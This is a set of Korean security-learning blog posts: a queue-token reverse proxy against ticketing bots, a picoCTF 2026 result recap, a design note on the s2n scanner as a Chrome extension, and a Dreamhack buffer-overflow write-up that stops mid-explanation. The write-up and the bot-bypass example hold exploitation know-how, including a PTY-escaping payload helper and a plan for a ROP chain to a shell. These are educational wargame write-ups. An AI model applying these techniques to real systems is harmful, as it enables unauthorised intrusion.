"세션 행동 분석으로 봇을 탐지하자. 요청 속도, 요청 간격 규칙성, 동일 좌석 재시도 횟수를 Feature로 뽑아서 Risk Score를 계산하면 봇이냐 사람이냐 구분할 수 있다."

그래서 초안엔 scorer.py, request_parser.py, models.py 같은 AI 탐지 관련 모듈이 다 들어가 있었고, 로지스틱 회귀부터 XGBoost까지 모델 5개를 비교해서 Recall/Precision 기준으로 채택하는 계획도 있었다.

근데 설계를 계속 다듬다 보니 문제가 생겼다.

봇을 굳이 "판별"해야 하나?

티켓팅 환경에서 정상 유저도 새로고침을 미친 듯이 누른다. 좌석이 풀리는 순간 반복 조회하고 재시도하는 건 봇이나 사람이나 다를 게 없다. 단일 축 탐지로는 FP(정상 유저를 봇으로 판단)가 너무 많이 나올 수밖에 없었다.

거기다 생각해보면, 봇이 특히 강한 이유가 뭐냐.

봇의 강점:
1. JS 실행 안 함 (브라우저 없이 HTTP 요청만 날림)
2. 302 리다이렉트를 따라가지 않거나, 따라가더라도 대기 과정 생략
3. 쿠키/세션 없이 직접 API 호출 가능

그러면 반대로 "봇이 버티지 못하는 구조" 를 만들면 된다는 결론이 나왔다.

• 대기열에서 JS 폴링을 요구하고
• 큐 통과 토큰이 없으면 API 접근 자체를 막고
• 모든 미인가 접근은 302로 대기열로 되돌리면

봇을 "판별"하지 않아도 봇이 자연스럽게 탈락하는 구조가 된다.

이게 최종 설계 방향이 된 이유다.

그런데...

처음 구조와 최종 구조가 꽤 달라졌다.

Risk Score 방식을 완전히 버린 건 "봇 탐지 정확도"보다 "정상 유저가 차단당하지 않는 것"이 더 중요했기 때문이다. FP가 하나라도 나오면 실제 서비스에서는 민원이 터진다.

어려웠던 점

1. 큐 새치기 방지 설계

대기열을 만든다고 끝이 아니었다. 봇은 대기열 페이지를 무시하고 API를 직접 때릴 수 있다.

# 봇 입장에서는 이렇게 하면 대기열 우회 가능
POST /api/ticketing/123/hold/seat
X-Session-Ticket: 아무거나

이걸 막으려면 "대기열을 정상적으로 통과한 증거" 가 필요했다. 그게 큐 통과 토큰이다.

흐름을 정리하면 이렇다.

대기열 진입 (/_guard/queue)
    ↓
JS 폴링 2초마다 (/_guard/queue/status)
    ↓
최소 대기 시간 경과 (QUEUE_WAIT_MIN_SECONDS)
    ↓
Redis에 큐 통과 토큰 발급 (TTL 5분)
    ↓
302 → 좌석 선택 페이지
    ↓
이후 API 요청마다 middleware가 토큰 검증
토큰 없으면 → 대기열로 302 강제 이동

토큰을 Redis에 저장하고 TTL을 걸어서 만료 처리하는 건 구현 자체는 어렵지 않았는데, 세션과 토큰을 어떻게 바인딩할 것인가가 고민이었다. X-Session-Ticket 헤더 기반으로 세션을 식별하고, 그 세션 키에 토큰을 매핑하는 방식으로 해결했다.

2. 리버스 프록시 구조

Guard 서버는 독립형으로 동작하면서 백엔드 앞에 끼워 넣는 구조다. 즉 Guard 서버가 요청을 받아서 검증한 뒤 백엔드(UPSTREAM_URL)로 프록시해줘야 한다.

Client → Guard Server (포트 8000) → Backend Server (포트 8080)

FastAPI에서 비동기 HTTP 클라이언트(httpx)로 백엔드에 요청을 전달하고, 응답을 그대로 클라이언트에게 돌려주는 방식이다. 헤더, 바디, 상태 코드 전부 그대로 투명하게 전달해야 하기 때문에 proxy.py 모듈을 따로 분리했다.

GUARD_ENABLED=false로 설정하면 토큰 검증 없이 전부 백엔드로 그냥 넘기는 킬스위치도 달았다. 긴급 상황에 Guard 서버를 끄지 않고 기능만 비활성화할 수 있게.

3. 모듈 분리

처음엔 server.py 하나에 다 때려넣으려 했다. 근데 미들웨어, 대기열, 토큰, 세션, 프록시가 한 파일에 있으면 나중에 수정할 때 너무 힘들어진다.

최종적으로 아래처럼 역할별로 분리했다.

server.py                  # 엔트리포인트, 미들웨어 등록
guard/
  middleware.py            # 큐 통과 토큰 검증 (모든 요청 인터셉트)
  queue.py                 # 대기열 페이지 + /status 폴링 API
  queue_token.py           # 토큰 발급/검증 로직
  session_tracker.py       # Redis 세션 상태 관리
  proxy.py                 # 백엔드 리버스 프록시
  config.py                # ENV 변수 로딩
  redis_client.py          # 비동기 Redis 연결
  metrics.py               # 대기열 진입/통과/차단 카운터

middleware.py가 핵심이다. 모든 요청이 여기를 통과하면서 SENSITIVE_PATHS에 해당하는 경로면 토큰 검증을 수행한다. 토큰이 없거나 만료됐으면 REDIRECT_URL로 302를 날린다.

전체 아키텍처

Client
  │
  ▼
[AI 보안 퀴즈] ← 다른 팀 담당
  │
  ▼
[Guard Server - 이 서버]
  │
  ├─ 1. 대기열 진입 ("잠시만 기다려주세요!")
  ├─ 2. JS 폴링 2초 간격 (/_guard/queue/status)
  ├─ 3. 최소 대기 시간 경과 → 큐 통과 토큰 발급 (Redis, TTL 5분)
  ├─ 4. 302 리다이렉트 → 좌석 선택 페이지
  └─ 5. 이후 API 요청 → 토큰 검증 → 통과 or 대기열로 302
  │
  ▼
[Backend Server]
  │
  ├─ 정상 유저 → 좌석 선택 진행
  └─ 봇/매크로 → JS 폴링 못 따라오거나 토큰 없어서 자연 탈락

주요 설정값

운영 엔드포인트

빠른 시작

# 1. 클론 및 의존성 설치
git clone https://github.com/HOHK0923/ticket-redirect-guard.git
cd ticket-redirect-guard
pip install -r requirements.txt

# 2. Redis 실행
docker compose up -d

# 3. 환경변수 설정
cp .env.example .env
# .env 파일 열어서 UPSTREAM_URL 등 수정

# 4. Guard 서버 실행
uvicorn server:app --host 0.0.0.0 --port 8000

기술 스택

그래도 좋은 점은?

백엔드 코드를 한 줄도 안 건드렸다.

이게 이 프로젝트에서 가장 만족스러운 부분이다. Guard 서버는 완전히 독립적인 프록시라서, 어떤 백엔드든 UPSTREAM_URL만 바꾸면 앞에 끼워 넣을 수 있다. 기존 시스템에 대한 침투성이 거의 없다.

봇 차단을 "봇이냐 아니냐 판별"이 아니라 "구조 자체가 봇을 버티게 못 만드는 것" 으로 접근한 게 설계적으로 좋은 방향이었다고 생각한다. 오탐(FP) 걱정 없이 모든 사용자에게 동일한 흐름을 강제하면서 봇이 자연스럽게 걸러진다.

마치며

처음 설계와 최종 결과물이 꽤 달라졌다. Risk Score 기반 탐지에서 시작해서 큐 통과 토큰 + 302 리다이렉트 구조로 완전히 방향을 틀었는데, 이 과정이 오히려 더 좋은 설계를 만들어줬다.

"기능을 많이 넣는 것"보다 "핵심 문제를 구조로 해결하는 것"이 낫다는 걸 이번 프로젝트에서 직접 경험했다.

KT Cloud Tech UP 실무 통합 프로젝트에서 인프라(AWS/KT Cloud), SIEM, 자동화 레드팀 툴 등 여러 파트가 있었는데, 보안 프록시 파트를 맡으면서 웹 보안의 방어 관점을 깊이 고민할 수 있었다. 공격만 생각하다가 "어떻게 막을 것인가"를 설계 레벨에서 풀어보는 경험이 꽤 값졌다.

작성자: HoHK (2SeC 팀)
프로젝트: KT Cloud Tech UP 실무 통합 프로젝트
레포지토리: github.com/HOHK0923/ticket-redirect-guard

3줄 요약

1. 인생 첫 CTF 대회인 picoCTF 2026에 참가해서 47등(14,500점)을 했다
2. Binary Exploitation, Blockchain, Forensics, Reverse Engineering 4개 카테고리 올클, 개인 점수 10,800점
3. Pwn은 예상보다 쉬웠고, paper-2(Web 500pt)는 진짜 어려웠다

시작하며

picoCTF 2026이 나의 첫 CTF 대회였다. 솔직히 CTF라는 걸 제대로 해본 적이 없어서 어디까지 풀 수 있을지 감도 안 잡혔다. 그냥 평소에 공부했던 거 써먹어보자는 마음으로 참가했는데, 결과가 예상보다 훨씬 좋게 나왔다. 운이 좋았다고 생각한다.

팀명은 ANH_1, 닉네임은 nyoHk로 참가했다.

47등, 14,500점. 초록색으로 하이라이트된 게 우리 팀이다.

개인 점수 10,800/14,500. 4개 카테고리 올클이 눈에 보인다.

대회 진행 흐름

대회 기간은 약 일주일이었고, 실질적으로 집중한 건 4일 정도다.

1일차에 Pwn을 빠르게 정리한 게 컸다. 덕분에 나머지 시간을 Web 고배점 문제에 투자할 수 있었다.

카테고리별 리뷰

Binary Exploitation (8/8, 올클)

Pwn 문제 목록. 3월 10일 오후에 전부 풀었다.

솔직히 Pwn이 제일 걱정이었는데, 예상보다 쉬웠다. 오후 3시 51분에 Quizploit(50pt)을 시작해서 5시 48분에 Pizza Router(400pt)까지, 약 2시간 만에 8문제 전부 풀었다.

Echo Escape 1, 2는 기본적인 Buffer Overflow/Format String 문제였고, Heap Havoc은 힙 오버플로우로 함수 포인터를 덮는 전형적인 패턴이었다. tea-cash는 tcache free list 구조를 이해하고 있으면 풀 수 있었고, offset-cycle 시리즈도 오프셋 계산만 정확하면 됐다. Pizza Router가 그나마 좀 복잡했는데, 힙 주소 leak 후 함수 포인터를 조작하는 방식이라 접근법 자체는 익숙했다.

평소에 pwntools 가지고 이것저것 해본 게 도움이 많이 된 것 같다. 다만 picoCTF 특성상 교육 목적의 대회라 난이도가 실전 워게임보다는 낮았을 수 있다. 그래도 첫 CTF에서 Pwn 올클은 기분이 좋았다.

Reverse Engineering (11/11, 올클)

Rev 문제 목록. JITFP(500pt)를 제일 먼저 풀었다.

Rev는 재밌었다. 특이하게 가장 높은 배점인 JITFP(500pt)를 제일 먼저 풀었다(3/10 오후 6:18). 그 다음 날 새벽에 Binary Instrumentation 시리즈(300, 400pt)를 정리하고, 3일차에 나머지 100~200pt대 문제들을 스피드런으로 밀었다.

Binary Instrumentation 3, 4가 인상 깊었다. 바이너리 계측(instrumentation) 도구를 활용해서 동적 분석하는 문제였는데, 정적 분석만으로는 풀기 어려운 구조였다. Hidden Cipher 시리즈는 암호화 로직을 역추적하는 전형적인 Rev 문제였고, Gatekeeper나 Bypass Me는 조건 분기를 우회하는 기본기 문제였다.

Blockchain (4/4, 올클)

Blockchain 카테고리는 4문제 전부 Solidity 스마트 컨트랙트 취약점 문제였다. 3월 11일 새벽에 약 30분 만에 전부 정리했다.

Reentrance(재진입 공격)가 제일 배점이 높았는데, 유명한 DAO 해킹 사건에서 쓰인 기법이라 공부해둔 게 그대로 나왔다. 운이 좋았다.

Forensics (8/8, 올클)

Forensics Git 시리즈(0, 1, 2)가 기억에 남는다. Git 히스토리를 뒤져서 숨겨진 정보를 찾는 문제인데, git log, git diff, git show 같은 명령어를 얼마나 잘 쓰느냐가 관건이었다. Forensics Git 2(400pt)가 시리즈 중에서 가장 까다로웠다.

Rogue Tower(300pt)와 Timeline 시리즈도 나름 재밌었다. DISKO 4는 디스크 이미지 분석 문제였는데 도구만 잘 쓰면 금방 풀렸다.

General Skills (15/17)

General Skills 문제 목록.

Printer Shares 시리즈(1, 2, 3)가 이 카테고리에서 가장 기억에 남는다. SMB 프로토콜을 이용한 문제인데, Printer Shares 2에서 SAMR 프로토콜로 비밀번호를 크래킹하는 과정이 실전적이었다. bytemancy 시리즈(0~3)도 바이트 조작을 단계별로 심화해가는 구조라 학습용으로 괜찮았다.

Web Exploitation (6/10)

Web 문제 목록. 6문제 풀었다.

Web은 6문제를 풀었고 이 카테고리에서 가장 어려웠던 문제이자 이번 대회 전체에서 가장 고생한 문제가 paper-2다.

ORDER ORDER(300pt) 는 Second-Order SQL Injection 문제였다. 회원가입 시에는 prepared statement로 안전하게 저장되지만, 리포트 생성 시 username이 쿼리에 직접 결합되는 구조였다. 문제 설명에 "I've prepared my queries everywhere! I think!" 라고 적혀있었는데, 이게 힌트였다. 모든 쿼리를 prepared 했다고 생각하지만 사실 빠뜨린 곳이 있다는 뜻이었다.

paper-2(500pt) 는 진짜 어려웠다. Redis의 LRU(Least Recently Used) Eviction 정책을 이용한 부채널(Side-channel) 공격인데, CSS 셀렉터로 봇이 특정 캐시 엔트리를 "터치"하게 유도한 다음, 더미 데이터를 밀어넣어서 터치되지 않은 엔트리만 삭제시키는 방식이다. 개념 자체도 생소했고, 타이밍 조절이 핵심이었다. 약 84번의 시도 끝에 풀었고, 3일 정도를 이 문제 하나에 쏟았다. 이건 별도 writeup으로 상세하게 정리할 예정이다.

어려웠던 점

paper-2에 매달린 3일

솔직히 paper-2가 아니었으면 대회가 훨씬 편했을 거다. Redis 캐시 용량이 5,000 slots인 걸 알아내는 것부터, Pre-fill 양(430MB)과 Eviction 양(230MB)의 정밀한 조절, 봇이 CSS를 파싱하는 동안의 15초 딜레이 계산까지... 단순히 코드를 짜는 게 아니라 인프라 레벨의 이해가 필요했다.

처음에는 노이즈 캔슬링이라는 그럴듯한 방법을 썼는데, 오히려 Redis 상태를 계속 변화시켜서 신호가 0개로 나왔다. 결국 단순하게 플러딩 마진을 넉넉히 주는 게 답이었다. 스마트한 방법이 항상 좋은 건 아니라는 걸 체감했다.

배운 점

잘했던 점

• Pwn 올클: 2시간 만에 8문제를 밀어버린 건 평소 연습이 빛을 발한 결과다
• 4개 카테고리 올클: Binary Exploitation, Blockchain, Forensics, Reverse Engineering 전부 올클한 건 범용성 측면에서 자신감이 생겼다
• 시간 분배: 쉬운 문제를 빠르게 정리하고, 남은 시간을 고배점 문제에 투자하는 전략이 잘 먹혔다

다음 목표

• Cryptography 기초부터 체계적으로 공부
• Web 고난도 문제 연습 (SQLi 심화, SSRF, Deserialization 등)
• pwnable.kr, pwnable.tw 같은 워게임으로 Pwn 실력 더 올리기

최종 성적 요약

마치며

첫 CTF치고는 운이 좋았다고 생각한다. 47등이라는 숫자도 좋지만, 그보다 평소에 공부했던 것들이 실제 문제에서 통한다는 걸 확인한 게 더 값졌다. Pwn이나 Rev 같은 바이너리 계열은 자신감이 붙었고, Blockchain 쪽도 기본적인 스마트 컨트랙트 취약점은 커버할 수 있다는 걸 알게 됐다.

paper-2를 비롯한 주요 문제들의 상세 writeup은 별도 글로 올릴 예정이다.

출처: picoCTF 2026 (Carnegie Mellon University)

3줄 요약

1. s2n은 기능 확장 자체보다 어떻게 실전에서 더 쉽게 쓰게 만들 것인가가 먼저 중요했다.
2. 초기 제품 방향은 서버형 SaaS보다 로컬 기반 Chrome Extension 구조가 더 현실적이었다.
3. 목표는 단순 GUI 추가가 아니라, 레드팀 관점의 사전 분석 보조 도구로 발전시키는 것이다.

시작하며

처음에는 단순히 이런 생각이었다.

s2n에 정적 분석을 붙이고, 포트 서비스 버전 분석을 붙이고, CVE 연계를 붙이면 더 강한 도구가 되지 않을까?

틀린 생각은 아니다.
근데 실제로 프로젝트를 이어가다 보니 기능 추가만으로는 부족하다는 게 보였다.

보안 도구는 기능이 많아도 실제로 손이 잘 안 가면 의미가 없다.

특히 CLI 기반 도구는 익숙한 사람에겐 편하지만, 처음 접하는 사람이나 협업 환경에서는 다음 같은 문제가 생긴다.

• 실행 방법을 따로 익혀야 한다
• 옵션이 많아질수록 사용 진입장벽이 커진다
• 결과를 파일이나 로그로 직접 뒤져야 한다
• 이전 실행 이력을 다시 보기 불편하다
• 분석 엔진은 좋은데 도구 자체는 덜 다듬어진 느낌이 난다

그래서 어느 순간부터 질문이 바뀌었다.

무슨 기능을 더 넣을까? 보다
이걸 어떻게 하면 더 실전적으로, 더 자주 쓰게 만들 수 있을까?
이걸 먼저 보게 된 거다.

이 글은 그 방향 전환에 대한 기록이다.
즉, 왜 s2n을 로컬 중심으로 재정리했고, 왜 Chrome Extension 방향으로 잡았는지를 정리한 문서다.

전체 방향 전환

처음 흐름은 사실상 이런 구조에 가까웠다.

[CLI Scanner]
   |
   v
[결과 JSON / 로그]
   |
   v
[사용자가 직접 확인]

이 구조는 개발자 입장에서는 단순하고 빠르다.
근데 사용자 입장에서는 생각보다 불친절하다.

• 터미널에서 실행해야 하고
• 옵션은 직접 기억하거나 문서를 다시 찾아봐야 하고
• 결과는 JSON, 로그, 콘솔 출력으로 흩어질 수 있고
• 반복 실험 결과를 한 눈에 비교하기 어렵다

그래서 방향을 바꾸기로 했다.

[Chrome Extension UI]
   |
   v
[스캔 실행 / 상태 확인 / 결과 확인]
   |
   v
[로컬 저장 / JSON 내보내기 / 히스토리 관리]

핵심은 단순하다.

스캐너를 만드는 것에서 끝나는 게 아니라, 실제로 계속 쓰게 되는 분석 도구 형태까지 포함해 설계하자는 거다.

이 방향은 단순 편의성 개선이 아니라, 프로젝트를 포트폴리오 관점에서 봤을 때도 훨씬 의미가 있다.

왜냐하면 “기능 구현”만 한 사람이 아니라, 보안 도구를 어떤 방식으로 제품화할지 고민한 사람이라는 점까지 보여줄 수 있기 때문이다.

1. 왜 굳이 로컬화하려 했는가

이건 단순히 가볍게 만들고 싶어서가 아니다.
초기 단계에서 불필요한 복잡도를 줄이고 핵심 기능에 집중하기 위해서다.

보안 스캐너를 서버형으로 만들면 겉보기엔 더 멋있어 보일 수 있다.
근데 실제로는 너무 많은 문제가 한꺼번에 따라온다.

서버형 구조에서 바로 생기는 문제

이러면 프로젝트의 본질이 흐려진다.

지금 우리가 만들고 싶은 건 거대한 SaaS 플랫폼이 아니다.
핵심은 s2n의 분석 기능을 더 실전적으로 활용할 수 있게 만드는 것이다.

그래서 초기 단계에서는 서버를 붙이는 것보다
사용자 로컬 환경에서 바로 실행되고, 바로 결과를 볼 수 있는 구조가 더 적절하다고 판단했다.

로컬 구조의 장점

• 설치 후 바로 테스트 가능
• 대상 정보가 외부 서버를 굳이 거치지 않는다
• 결과를 사용자가 직접 보관할 수 있다
• MVP 단계에서 구현 범위를 통제하기 쉽다
• 핵심 엔진 개선에 더 집중할 수 있다

즉, 로컬화는 편의성 선택이 아니라
개발 우선순위를 바로잡기 위한 설계 선택이었다.

2. 왜 Electron이 아니라 Chrome Extension인가

로컬 GUI를 만든다고 하면 보통 Electron 같은 데스크탑 앱도 충분히 후보가 될 수 있다.

근데 이번에는 Chrome Extension 쪽이 더 잘 맞는다고 봤다.

이유는 분명하다.
s2n이 다루는 대상과 사용 흐름이 웹 환경과 더 가깝기 때문이다.

Chrome Extension을 선택한 이유

Electron은 자유도가 높은 대신, 앱 자체를 만드는 비용이 더 커진다.

반면 Chrome Extension은 초기 MVP를 만들 때 더 가볍고, 웹 서비스 중심 보안 도구라는 성격에도 잘 맞는다.

즉, 이번 선택의 기준은 “무엇이 더 멋있나”가 아니라
“무엇이 더 빨리, 더 현실적으로 핵심 보안 분석 흐름을 구현하나”였다.

3. Chrome Extension 구조가 s2n에 잘 맞는 이유

s2n의 핵심 강점은 플러그인 확장 구조다.
그러면 GUI도 그 철학을 망치면 안 된다.

Chrome Extension 구조는 이 점에서 꽤 잘 맞는다.

[Popup]
- 빠른 실행
- 대상 입력
- 플러그인 선택

[Background]
- 스캔 작업 관리
- 상태 유지
- 요청 흐름 제어

[Options]
- 세부 설정
- 결과 목록
- 히스토리 확인
- 내보내기

역할 분리가 명확하다.

이 구조가 좋은 이유

• UI는 가볍게 유지할 수 있다
• 실제 작업은 Background에서 관리할 수 있다
• 결과 저장과 화면 표시를 분리할 수 있다
• 플러그인 추가가 전체 UI 수정으로 번지는 걸 막을 수 있다

즉, 내부 엔진 구조와 사용자 인터페이스 구조가 서로 충돌하지 않는다.

이건 포트폴리오 관점에서도 중요하다.
단순히 “GUI 붙였다” 수준이 아니라, 확장형 보안 도구에 맞는 인터페이스 구조를 고민했다는 흔적이 되기 때문이다.

4. 왜 이 방향이 레드팀 관점에서도 의미가 있는가

나는 원래 레드팀 지향으로 공부하고 있고, 도구를 볼 때도 단순 점검 툴보다는 실전에서 어떤 흐름에 들어갈 수 있느냐를 더 중요하게 본다.

그 관점에서 보면 이번 구조 전환은 단순 UI 개선이 아니다.

이 도구는 잘 다듬으면 다음 같은 흐름의 앞단에 놓을 수 있다.

실전 관점 흐름

[대상 식별]
   |
   v
[포트 / 서비스 파악]
   |
   v
[기술 스택 / 버전 / 구조 추정]
   |
   v
[정적 분석 / 취약 구성 탐지]
   |
   v
[CVE / 공격 가능성 / 방어 포인트 정리]

즉, 이건 단순 취약점 스캐너가 아니라 사전 정찰과 기술 표면 분석을 보조하는 도구로 확장될 수 있다.

레드팀에서 중요한 건 단순히 “취약점 하나 찾기”가 아니다.
대상 환경을 빠르게 이해하고, 어떤 기술 스택이 돌아가고 있고, 어느 부분이 약한지 우선순위를 잡는 과정이 중요하다.

그런 의미에서 s2n의 방향을

• 정적 분석
• 서비스 버전 분석
• CVE 연계
• 설명 가능한 리포트
  로 잡은 건 꽤 일관된 선택이었다.

그리고 여기에 Chrome Extension 형태를 붙이면, 이 분석 흐름이 더 자주, 더 빠르게 실행될 수 있다.

즉, 실전형 분석 도구로서의 접근성이 올라간다는 점에서 의미가 있다.

5. 우리가 만들고 싶은 건 거대한 플랫폼이 아니라 “손이 가는 분석 도구”다

프로젝트를 하다 보면 자꾸 욕심이 생긴다.

• 계정 시스템도 넣고 싶고
• 협업 기능도 넣고 싶고
• 서버 동기화도 넣고 싶고
• 대시보드도 크게 만들고 싶다

근데 그렇게 가면 초기에 가장 중요한 걸 놓친다.

지금 필요한 건 거대한 플랫폼이 아니다.
핵심은 작아도 실제로 계속 쓰게 되는 도구다.

우리가 원하는 건 대충 이런 흐름이다.

1. 대상 입력
2. 스캔 시작
3. 진행 상태 확인
4. 결과 요약 확인
5. 필요하면 JSON 내보내기
6. 이전 기록 다시 확인

이 흐름만 제대로 돌아가도 도구로서의 완성도는 꽤 높다.

즉, 이번 방향 전환은 기능 축소가 아니라, 핵심 사용 경험에 집중하기 위한 범위 통제에 가깝다.

6. 사용자 경험 측면에서도 구조 전환 효과가 크다

기존 CLI 중심 흐름은 보통 이렇다.

설치 -> 명령어 확인 -> 옵션 입력 -> 실행 -> 로그 확인 -> 결과 파일 열기

반면 Extension 기반 흐름은 이렇게 바뀐다.

확장 실행 -> 대상 입력 -> 버튼 클릭 -> 상태 확인 -> 결과 확인 -> 내보내기

겉보기에 단순한 차이 같지만, 실제 사용성에서는 큰 차이를 만든다.

비교

보안 도구는 결국 반복 사용성이 중요하다.
한 번만 돌려보고 끝나는 도구보다, 자주 열고 자주 실험하게 되는 도구가 훨씬 강하다.

그 점에서 이번 구조 전환은 단순 UI 개선이 아니라
도구의 생명력을 늘리는 선택이었다.

7. 보안 도구답게 권한은 최소화해야 한다

Chrome Extension으로 가면 편의성은 좋아지지만, 동시에 권한 문제를 더 신중하게 봐야 한다.

보안 도구가 과하게 많은 권한을 요구하면 오히려 신뢰성을 해칠 수 있다.

그래서 기본 원칙은 분명하다.

권한 설계 원칙

• 꼭 필요한 권한만 요청한다
• 특정 대상에만 접근하도록 제한한다
• 불필요한 페이지 접근은 최소화한다
• 로컬 저장 중심으로 설계한다
• 외부 전송이 필요하다면 명확한 목적과 범위를 둔다

이건 단순한 구현 이슈가 아니라, 보안 도구로서 어떤 태도를 가지는가와 연결된 문제다.

실제로 레드팀이든 보안 엔지니어링이든, 도구 설계에서 권한과 신뢰를 어떻게 다루는지는 꽤 중요한 역량으로 본다.

8. 초기 범위를 줄인 것도 의도된 선택이다

프로젝트는 초반에 범위를 너무 넓히면 무너지기 쉽다.

그래서 이번 단계에서는 일부러 다음 정도에 집중하는 게 맞다고 봤다.

초기 MVP에서 중요한 것

• 스캔 실행 가능
• 상태 확인 가능
• 결과 요약 가능
• JSON 내보내기 가능
• 로컬 히스토리 확인 가능

아직 굳이 넣지 않아도 되는 것

• 멀티유저 협업
• 서버 동기화
• 과금 모델
• 계정 시스템
• 복잡한 팀 단위 관리 기능

이렇게 해야 목표가 흐려지지 않는다.

즉, 이번 결정은 기능을 포기한 게 아니라,
핵심 가치를 먼저 살리기 위한 전략적 축소에 가깝다.

9. 포트폴리오 관점에서 이 글이 보여주는 것

이 문서는 단순히 “Chrome Extension 만들기로 했다”를 적는 글이 아니다.

회사 포트폴리오 관점에서 보면, 이 글은 다음을 보여준다.

이 문서가 드러내는 역량

즉, 이 프로젝트는 “툴 하나 만들었다” 수준보다, 실전 보안 도구를 어떤 형태로 설계할지 고민한 과정까지 함께 보여줄 수 있다.

이건 실제 지원서나 포트폴리오에서 생각보다 중요하다.

왜냐하면 기업 입장에서는 단순 구현 능력만 보는 게 아니라, 문제를 어떤 방식으로 구조화하고, 제약 조건 안에서 어떤 선택을 했는지도 보기 때문이다.

마치며

이번에 로컬화와 Chrome Extension 방향을 선택한 이유는 단순하다.

기능이 많아도 실제로 잘 안 쓰이면 의미가 없기 때문이다.

s2n은 원래도 확장 가능한 구조를 갖고 있었고, 이제는 여기에 맞는 사용 형태를 붙이려는 단계로 넘어왔다고 보면 된다.

정리하면 이렇다.

• 서버형보다 로컬 구조가 초기 단계에 더 적절했다
• Electron보다 Chrome Extension이 더 가볍고 현실적이었다
• 목표는 단순 GUI 추가가 아니라 실전형 보안 분석 도구 설계였다
• 레드팀 관점에서도 이 방향은 사전 분석 보조 도구로 확장 가능성이 있다

아직 완성된 상태는 아니다.
근데 방향은 꽤 분명하다.

s2n을 단순히 실행하는 스캐너가 아니라, 실제로 자주 열어보게 되는 분석 도구로 바꾸는 것.

이 글은 그 출발점에 대한 정리다.

1. PTY canonical mode 환경에서는 payload에 포함된 특수 바이트가 제어 신호로 해석돼서 exploit이 깨진다
2. 해결책은 0x16(Ctrl+V) 하나다 — 제어 문자 앞에 0x16을 붙이면 literal로 전달된다
3. exploit 66개 버전을 쓰면서 하루 종일 삽질한 끝에 성공했다

들어가며

드림핵 워게임 중에 hibye라는 문제가 있다. 처음 봤을 땐 간단한 BOF 문제인 줄 알았다.

처음 세운 계획은 이랬다:

• 버퍼 오버플로우로 RIP 덮고
• libc leak해서
• system("/bin/sh") 호출

교과서 그 자체다. 근데 실제로는 PTY canonical mode라는 놈 때문에 무려 66개가 넘는 exploit 버전을 작성하면서 하루 종일 날렸다. 결론부터 말하면 0x16 하나를 몰라서 벌어진 참사다.

취약점 개념

Stack Buffer Overflow

IDA로 디컴파일하면 프로그램 구조가 깔끔하게 나온다. main에서 초기화하고, token 출력하고, 입력 두 번 받는 구조다. 첫 번째 입력은 힙 영역에 크게 받고, 두 번째 입력이 스택 버퍼다.

핵심은 두 번째 입력 함수다. 어셈블리를 보면 sub rsp, 0x20으로 32바이트 버퍼를 잡는데, read에서 0x30(48바이트)을 읽는다. 16바이트 오버플로우가 가능하다.

스택 레이아웃으로 보면:

+-------------------+ <- rbp-0x20 (버퍼 시작)
| buffer (32 bytes) |
+-------------------+ <- rbp
| saved rbp (8)     |
+-------------------+ <- rbp+0x08
| return addr (8)   | <- 여기를 덮는다
+-------------------+

saved rbp(8바이트) + return address(8바이트)를 정확히 덮을 수 있는 크기다. 여기까지만 보면 전형적인 BOF + ROP 문제다.

PTY(Pseudo-Terminal) 환경

근데 Dockerfile을 보니 이런 설정이 있었다:

socat TCP-LISTEN:$PORT,reuseaddr,fork \
    EXEC:"/chall",pty,sane,setsid,sigint,raw

여기서 pty,sane 옵션이 문제의 시작이다. PTY는 터미널을 에뮬레이트하는 가상 터미널인데, canonical mode에서는 특수 바이트들이 "데이터"가 아니라 "터미널 제어 신호"로 해석된다.

일반적인 TCP 소켓이면 바이트가 그대로 전달된다. 근데 PTY를 거치면 터미널 드라이버가 중간에서 특수 문자를 가로채서 처리해버린다. 쉽게 말하면 payload에 0x03이 있으면 PTY가 "아 Ctrl+C구나" 하고 프로세스를 죽이는 거다.

문제 상황: 첫 시도와 실패

첫 번째 시도: 단순 ROP

처음엔 아무 생각 없이 패딩 채우고 ROP chain 붙여서 보냈다.

예상 결과: 쉘 획득

실제 결과: EOF 발생, 연결 끊김

뭐가 문제인지 몰라서 context.log_level = 'debug' 켰더니 디버그 출력에 ^@가 보였다. null byte가 PTY에서 문제를 일으키고 있었다.

두 번째 시도: sendlineafter

sendlineafter를 쓰니까 개행이 추가로 붙어서 Name 입력에서 48바이트를 넘어가는 문제가 발생했다.

세 번째 시도: EOF(^D)로 입력 종료

p.send(payload + b'\x04')  # EOF로 입력 종료 시도

PTY에서 0x04는 "데이터 전달용 문자"가 아니라 EOF 제어 신호다. 연결 자체가 끊겨버렸다.

이 시점에서 "아 이건 PTY가 문제구나" 라는 걸 확실히 깨달았다.

문제의 원인

PTY Canonical Mode에서 특수 처리되는 바이트

PTY canonical mode에서는 다음 바이트들이 데이터가 아닌 제어 신호로 해석된다:

문제는 ROP chain에 사용하는 주소들에 이런 바이트가 포함된다는 거다.

예를 들어 PIE base가 있는 바이너리에서 gadget 주소에 0x15(Ctrl+U)가 들어가 있으면, PTY가 그 시점까지 입력된 라인을 통째로 삭제해버린다. libc 주소는 거의 항상 0x7f로 시작하는데, 0x7f는 DEL(백스페이스)이라 직전 바이트를 날려먹는다.

payload가 목적지에 도착하기도 전에 터미널 드라이버한테 난도질당하는 상황이었다.

왜 로컬에서는 됐는데 리모트에서 안 됐나

로컬에서 직접 바이너리를 실행하면 표준 입출력이 그냥 파이프로 연결된다. PTY가 끼어있지 않으니까 바이트가 그대로 전달된다. 근데 리모트는 socat이 PTY를 통해 프로그램을 실행하기 때문에 canonical mode가 적용되는 거다.

이게 바로 "로컬에선 되는데 리모트에선 안 되는" 전형적인 원인 중 하나다.

해결 방법

0. 핵심 발견: 0x16 (Ctrl+V)

모든 문제의 해결책은 0x16이었다.

PTY canonical mode에서 0x16(Ctrl+V)은 "다음 문자를 literal로 받아라"는 의미다. 터미널에서 실제로 Ctrl+V를 누르면 다음 입력 문자가 제어 신호가 아니라 순수 데이터로 처리되는 것과 같은 원리다.

# 0x0a(개행)를 데이터로 전달하고 싶을 때
\x16\x0a  → PTY가 0x0a를 제어 신호가 아닌 순수 데이터로 처리

이걸로 tty_escape 함수를 만들었다:

def tty_escape(data: bytes):
    """모든 제어 문자를 0x16으로 escape"""
    res = b""
    for b in data:
        if b <= 0x1f or b == 0x7f:
            res += b"\x16" + bytes([b])
        else:
            res += bytes([b])
    return res

여기서 중요한 게 하나 있다. escape 범위다.

# ❌ 실패한 버전 - 알려진 특수 문자만 escape
if b in [0x0a, 0x0d, 0x7f, 0x03, 0x04, 0x15, 0x1a]:

# ✅ 성공한 버전 - 모든 제어 문자 escape
